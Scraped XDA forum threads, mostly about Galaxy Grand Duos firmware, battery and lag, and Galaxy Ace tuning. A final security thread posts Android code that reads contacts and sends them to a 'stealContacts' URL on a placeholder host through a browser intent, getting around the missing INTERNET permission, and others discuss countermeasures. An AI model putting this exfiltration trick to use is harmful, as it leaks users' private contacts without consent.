Guys finally installed the official 4.2.2 Indian ver firmware + successfully rooted as well.

Any queries related to this firmware?? .... yu can ask me
[Galaxy Grand Duos i9082 General] maxxinn:
Is the Indian version also same as Russian? How is the battery backup and performance ? :confused::rolleyes::confused::rolleyes::confused::rolleyes::what::what:
[Galaxy Grand Duos i9082 General] simplyanin:
Performance is great .... better than leaked ver

I havnt used the Russian ver .. so cnt comment about that
[Galaxy Grand Duos i9082 General] mukeshc15:
Bro plz give procedures that how you flash this :)
[Galaxy Grand Duos i9082 General] Sachin jain:
Procedure is same as in 4.1.2..
[Galaxy Grand Duos i9082 General] Hemanth97:
Ram usage only 340mb? :eek::eek::eek:
[Galaxy Grand Duos i9082 General] mukeshc15:
A small advice to anindya

You are only one who flashed 4.2.2 indian ver. So every one will ask you what the performance,how is battery life,how is ram uses,any new thing in india ver.,how to flash and etc etc etc from 2-3 thread and you have to ans same thing again and again

You make one thread on it and tell everything in that and procedures

Is "External 2 Internal SD" working on 4.2.2 INS ?
[Galaxy Grand Duos i9082 General] simplyanin:
Performance is great .. very smooth ui

Ram usage is quite less than leaked ver

Believe it or not till now but till nw I havnt found out any visual differences on this official rom...

Just a minor hear and there changes

Like when u open the camera the button which allows yu to change the camera front and rear ... that icon is changed a little and continious burst mode is now available in camera.

Flashing is same as rest all other single file tar ... just set it to pda and flash
[Galaxy Grand Duos i9082 General] simplyanin:
Ummm ... I havnt try it .. but ya GL 2 SD working Great
[Galaxy Grand Duos i9082 General] jayc137:
Is the game data movable with native app2sd ?
[Galaxy Grand Duos i9082 General] simplyanin:
No only the apk is moveable
[Galaxy Grand Duos i9082 General] andy4uall:
Can I flash this firmware using mobile ODIN app?
[Galaxy Grand Duos i9082 General] kenxda33:
no. mobile odin dose not support our device
[Galaxy Grand Duos i9082 General] chereko:
Let me guess, you didn't clear data? There's no lag at all in 4.2.2 and all of the sensors are working perfectly.
[Galaxy Grand Duos i9082 General] androidbaba:
i flashed with odin and then wiped data via stock recovery..

only thing is that i installed INS version where as my default version is INU
[Galaxy Grand Duos i9082 General] kapatralla:
:Update now available for INU.
[Galaxy Grand Duos i9082 General] androidbaba:
really??via OTA??
[Galaxy Grand Duos i9082 General] kapatralla:
I checked via kies.Not Sure of ota.:)
[Galaxy Grand Duos i9082 General] pritesh barot:
Where is availanle for inu plz send me link in pm???
[Galaxy Grand Duos i9082 General] Parth2187:

Guys when I downloaded firmware from sammobiles I got only one file that is .md5
[Galaxy Grand Duos i9082 General] simplyanin:
Select that single file in pda of odin n flash it
[Galaxy Grand Duos i9082 General] nandhipatiphanindra:
Actually im rooted and using leaked 4.2.2 russian version so there will b no problm if I flash only this file
[Galaxy Grand Duos i9082 General] Sulaimanshariff:

[Galaxy Grand Duos i9082 General] Sachin jain:
There will be no problem... U can flash
[Galaxy Grand Duos i9082 General] kapatralla:
Yes so much lag.Even the apps are laggy.Worst update by samsung.
[Galaxy Grand Duos i9082 General] mukeshc15:
I feel nothing difference between leaked version and official Indian

Vers :rolleyes:
[Galaxy Grand Duos i9082 General] simplyanin:
Lol who told yu to flash the leaked ver before ?? ... see that leaked ver spoil the official ver fun :D
[Galaxy Grand Duos i9082 General] g4govind87:
its not a bad deal.. we already tried what people will peaple now....

nd do expect anything else from samsung.

our devs can do anything :)
[Galaxy Grand Duos i9082 General] goku15:
everything is smooth except that performance of some games like subway surf and temple run 2 has decreased. any solution??
[Galaxy Grand Duos i9082 General] kenxda33:

cant update my mobile by ota

when ever I click on software update in my mobile it shows message that "ACCESS TO THE UPDATE IS PROVIDED TO USERS ON THE ........ TRY AGAIN" this message is displayed on screen what is the problem iam from india using official 4.1.2 jndia some one help me
[Galaxy Grand Duos i9082 General] Sachin jain:
Update via kies
[Galaxy Grand Duos i9082 General] soralz:
And, I ve noticed some "considered as bugs" on 4.2.2. Some games are not running optimally as on 4.1.2 such as my Extreme Road Trip 2. Very noticable lag. A bit much more battery consumption when compared to 4.1.2. And 4.2.2 cannot use any flipfonts from Play Store. If I use iFonts to install the fonts it worked but Opera Mini keep saying "Font Data Calculation" everytime I open the app. And lastly, if I use "Battery Doctor - Task Killer" function my SU will went crazy and keep pop-out infinite SU notifications, have to Force Stop it :(
[Galaxy Grand Duos i9082 General] mhoss48:
I have same prob, but Y via kies, can i do it via ota?
[Galaxy Grand Duos i9082 General] Sachin jain:
Ya u can...

---------- Post added at 06:01 PM ---------- Previous post was at 05:59 PM ----------

4.2.2 is laggy and consumes more battery... N even games don't work well as in 4.1.2
[Galaxy Grand Duos i9082 General] jayc137:
4.1.2 feels smoother than 4.2.2

Also the RAM consumption is very heavy on 4.2.2

Many of the games run with lag especially the emulated ones
[Galaxy Grand Duos i9082 General] vinay_kumar:
Ya.. very bad update.. not stable.. we need one more stability update
[Galaxy Grand Duos i9082 General] Sachin jain:
Till then we can use 4.1.2 or switch to custom roms
[Galaxy Grand Duos i9082 General] Sulaimanshariff:
wt when compared to leaked version which is better???leaked or the official indian 4.2.2???:rolleyes:
[Galaxy Grand Duos i9082 General] Sachin jain:
I found leaked version more smoother...
[Galaxy Grand Duos i9082 General] Sulaimanshariff:
thnx bro:)
[Galaxy Grand Duos i9082 General] Zephyr!:
I should wait for a stable update :)
[Galaxy Grand Duos i9082 General] Sachin jain:
Samsung ll take long time for releasing update:D...
[Galaxy Grand Duos i9082 General] Zephyr!:
Yeah that's true :(
[Galaxy Grand Duos i9082 General] Sachin jain:
But we have great devs.. so not a problem to worry about
[Galaxy Grand Duos i9082 General] Zephyr!:
Yeah let's see .. When custom rom comes up.
[Galaxy Grand Duos i9082 General] mzee_maverik:
just upgraded to 4.2.2 inu. though im content with this new software but ram and battery consumption has drastically increased.

its just me or anyone else has this problem
[Galaxy Grand Duos i9082 General] yoyocharith:
+1

Therefor downgrade to 4.2.2 leaked version :D
[Galaxy Grand Duos i9082 General] mzee_maverik:
ill wait for the update instead :p
[Galaxy Grand Duos i9082 General] chis51hd:
I haven't tried the new versions yet, but I'm using the russian firmware now and it's loads better than the leaked version. Significant improvement in battery life is one of the things I noticed.
[Galaxy Grand Duos i9082 General] mhoss48:
Me too, is there anyway to get it via ota m, not kies ?
[Galaxy Grand Duos i9082 General] pradzy:
lag

here is my first insight wit 4.2.2 ind update official

1.lag and more lags in launcher,home button,scrolling..

2.Sensors not working perfectly now the light sensor dosent seem to work

3.High battery consumption.

any solutions to reduce tis?
[Galaxy Grand Duos i9082 General] arunak:
1. Try 5x5 launcher in gennext thread.

2.:rolleyes:

3.Remove blotwares, greenify unnecessary user&/system apps or freeze apps using TB, disable unnecessary boot entries using boot manager.
[Galaxy Grand Duos i9082 General] jetvis37:
Battery backup

:D
[Galaxy Grand Duos i9082 General] mukeshc15:
Did you wipe data and do factory reset :confused:
[Galaxy Grand Duos i9082 General] Sachin jain:
Everyone said battery backup is less when compared to 4.1.2.. no one said they need for days long...
[Galaxy Grand Duos i9082 General] jetvis37:
So will u please elaborate the definition of battery backup????

I don't know anything...please....
[Galaxy Grand Duos i9082 General] bongski55:
I think they mean BATTERY LIFE.

Battery talktime is certainly a prob with 4.2.2 ver,

Battery which used to last a day long is not lasting even till evening.

usage is the same as 4.1.2.no apps added or removed,

i think what happened is power saving mode with 4.1.2 used to reduce the clock speed of cpu.Performance was laggy when power saving mode was on.But with 4.2.2 i can play game flawlessly even in power saving mode.So clockspeed doesnt change with power saving mode in 4.2.2 that might be draining the battery faster.What dev team has to say?
[Galaxy Grand Duos i9082 General] mukeshc15:
What problem are you facing :D:confused:
[Galaxy Grand Duos i9082 General] shivkan:
use NO FRILLS CPU and change the max frequency to 312 and governor to powersave;)
[Galaxy Grand Duos i9082 General] maxxinn:
There is no need of selecting both as when you select power save governer, the max frequency will be 312
[Galaxy Grand Duos i9082 General] kapatralla:

[Galaxy Grand Duos i9082 General] maxxinn:
After flashing 4.2.2? Or in 4.1?
[Galaxy Grand Duos i9082 General] kapatralla:
4.2.2

Sent from my GT - I9082
[Galaxy Grand Duos i9082 General] hirentherock555:
Well thats what i think that in 4.2 inu update, which i did OTA, battery drain is faster coz power saving governor dsnt downgrade the clock speed.Even after enabling power saving mode, performance remains as good as non-power saving mode.

Android 4.2.2 Official Firmware First Looks

Changes:

1. Restructuring in Settings Menu & some new options.

2. Good Changes in status menu.

3. Drastic change in performance, it is faster & smoother.

4. Useful changes in Camera menus & settings.

Overall, not major changes just restructuring here & there, but with improved performance.

Please checkout some screenshots below.
[Galaxy Grand Duos i9082 General] hirentherock555:
problem is with battery backup..it drains so quickly
[Galaxy Grand Duos i9082 General] mukeshc15:
Disable unwanted blotwares :)
[Galaxy Grand Duos i9082 General] rejocie001:
You are right. Power saving mode only works in 4.1.2...Unfortunately power saving mode doesn't disable cpu speed to 800 mhz in 4.2.2. But it disables only gpu frequency. So battery drain will little more in 4.2.2. .solution is try to minimise apps which uses more cpu and gpu running background. .

From galaxy grand 4.2.2 firmware..
[Galaxy Grand Duos i9082 General] maxxinn:
If you are rooted, then change the maximum frequency with no frills or any other similar apps.

[Galaxy Ace S5830 Q&A, Help & Troubleshooting] kayo2013:
Hi guys ,

My ace is not working smooth. Every after five minutes it is hang...:(

Can any one tell me ,how to increase my phone ram or processor speed...?

Thanks in advance...
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] Viper The Ripper:
Chage the kernel and you'll get OC to 902Mhz (available 998Mhz in CM builts) but I think using 800Mhz with SmartassV2 governor it's enough. Even you can use scripts as Fly-on Mod or Adrenaline Engine to boost your performance experience;)

About ram, you CAN'T increase RAM amount you only can use swap partition but in my opinion it's not necessary to increase performance. And it's dangerous to your sdcard's life
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] kayo2013:
Thanks dude...:rolleyes:
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] rapkiller91:
Hi!

What ROM are you using?
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] Blackbox421:
Another solution on CM roms would be zram. With this method you also get more free ram
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] Angryace:
which kernel available to 998 Mhz? Max i can get is 820
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] update-addicted:
My kernel: 2.6.35.7

Max CPU stepping: 998 mhz

i dont recommends to overclock the cpu over 850 mhz, but its drain the battery too much and the lifespan of the phone will be smaller... :(

which rom you use?
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] rapkiller91:
Zram isn't a good solution for ace. It is very unstable and phone reboots often.

The best solution is to enable KSM and purgeable assets. You must try it because ksm doesn't work good on some ROMs and could make your phone slower while purgeable assets could make slower the phone while you're switching apps in multitasking due to the reload of images from disk.
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] Blackbox421:
Oh really? I never faced problems with zram..
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] kayo2013:
I am using GB 2.3.3 original rom..

So , How can i do ...???:confused:
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] kayo2013:
I am using GB 2.3.3 original rom..

But it is rooted...

So , now what can i do...????:confused:
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] rapkiller91:
I don't know why but I've had problems with zram in all the ROM I've used.

---------- Post added at 07:51 AM ---------- Previous post was at 07:42 AM ----------

You could install Pimp my Rom from the market and enable ksm and purgeable assets from there. With that app you can do a lot of more things but you must be carefull!
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] Angryace:
tell me the name of the kernel.. tell me where to download that kernel as i need that kernel coz we dont have gpu

EDIT*

If you talking about rafaels kernel then you are wrong. that kernel actually its not overclocking the cpu there are calculating mismatch

Install the app Seeder and set the value to moderate. You'll free about 40% of your ram and the device will run much smoother than before.
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] Blackbox421:
What? Where did you get this information?

Seeder doesn't free up ram, it will even consume more ram if you are using the Seeder app.

Seeder only makes sure that there is enough entropy in the entropy pool, so the apps don't have to wait until the entropy loads.

Thats why the apps load faster, not because there is more free ram.
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] MeltingSnowman:
This info came from my personal experience. I'm using the app right now so if you want to try to see the difference.
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] Blackbox421:
How should this app cleans up the ram?
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] MeltingSnowman:
I don't really know how this app work at all but this is the effect I've noticed on my device :)
[Galaxy Ace S5830 Q&A, Help & Troubleshooting] Blackbox421:
hmm okay..

I really can't imagine this can clean up the ram. Actually it only makes sure there is enough entropy in the pool..

I'm also using seeder which is integrated in Fly On, but it (sadly) never cleans up ram :(

But well, if its working for you its great :)
[General Topics] Deke Martin:
I am currently using an XDA1 with an o2 carkit, Haicom 204e and TT5 wih no problems, however, I am considering ungrading to a Seimens SX66 (Blue Angel?) and using a bluetooth GPS receiver. My questions are:

Is there a carkit available for the SX66?

Are there any problems I am likely to encounter with compatibility (I have noticed a few people reporting issues with TT5/bt/Blue Angel and don't want to upgrade to somthing that doesn't work)?

Thanks.
[General Topics] dane:
I think it will no work your idea :roll:
[General Topics] AdmiralAK:
I think you better buy a universal and benefit from WM 2005 while you are at it. You obviously don't need quadband - so I would say a universal is a good device :)
[General Topics] cruisin-thru:
Deke, is there any need to upgrade if you are happy with your present setup?
[General Topics] Deke Martin:
Well, I would like a gps system that can be moved from the car, and also a PDA with integral WiFI - an SX66 would satisfy both of these requirements (if the bt gps were battery powered).

Also, Mrs Deke's XDA1 has suffered some damage and won't last much longer. She says an XDA1 is all she needs, but I'm reluctant to get her a s/h XDA1 if I can use this opportunity to replace my system and let her have my XDA1.

But if the SX66 won't run tt5 properly with a bt - or if there are other issues I'm not aware of - then I'll just get her a used XDA1 and I'll keep mine.

I've also been looking at the HP 6365 - any thoughts on that?
[Security Discussion] simone.mutti:
Hi all,

I have a question to share with you about the Intent mechanism and I hope to start an interesting discussion.

As you (may) know through the use of "Intent" an app can send data to another app of an operation to be performed. For example, from my app I can send an Intent to the browser app in order to open a specific url. But the Intent mechanism seems (correct me if I am wrong) to not apply any security mechanism. Suppose I want to steal the contacts from a device and send them to a web server, if I want to perform these two operations I need the following permissions:

<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.INTERNET"/>

the former to read the contacts and the latter to send the data to the web server, but this is not true. In fact, I developed a simple app (named myApp) with the following permission:

<uses-permission android:name="android.permission.READ_CONTACTS"/>

Basically myApp reads the contacts (it holds the permission) and builds a string like the following:

String request = "http://ww.example.com/stealContacts?"
request += nameContact1=number1&nameContact2=number2&...

Finally, I put the request in the intent (see below), this means that I want to perform a "get request" to the web app http://ww.example.com/stealContacts and send as parameters all the contacts with the phone number.

Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse(request));
startActivity(i);

In order to test this, I developed a web app that when triggered save all the parameters in the request and show an advertising page.

From my point of view this is very strange, because I can steal the contacts easily.

what do you think? is it a security breach?
[Security Discussion] iBotPeaches:
You have the permission to read contacts and use the internet. You read the contacts and uploaded them to the internet. I don't see any exploit here, besides unethical behavior.
[Security Discussion] simone.mutti:
Hi iBotPeaches, thank you to join the discussion.

I don't give to myApp the permission to use internet, I only give it the READ_CONTACTS, but through the Intent I can send the contacts to internet. I cannot directly open an HTTP connection in myApp.
[Security Discussion] pulser_g2:
Yes, this is a fairly well "known" attack - you can use the web browser intent to "leak" information via GET variables.

I am not certain it's a "breach" in the true sense, since Android seems to be an over-trusting platform. I suggest taking a look at XPrivacy on XDA, since its "view" permission for websites will prevent this attack from working unless the user chooses to trust the app (by default it doesn't trust anything).
[Security Discussion] mynote:
This is not a security-break. You can only use this permissions you gave. Ist almost impossible gaining permissions without declearing them.. There is a GPS Exploit around which enables GPS without permissions and user confirmation but i think ist fixed in android 3.0+
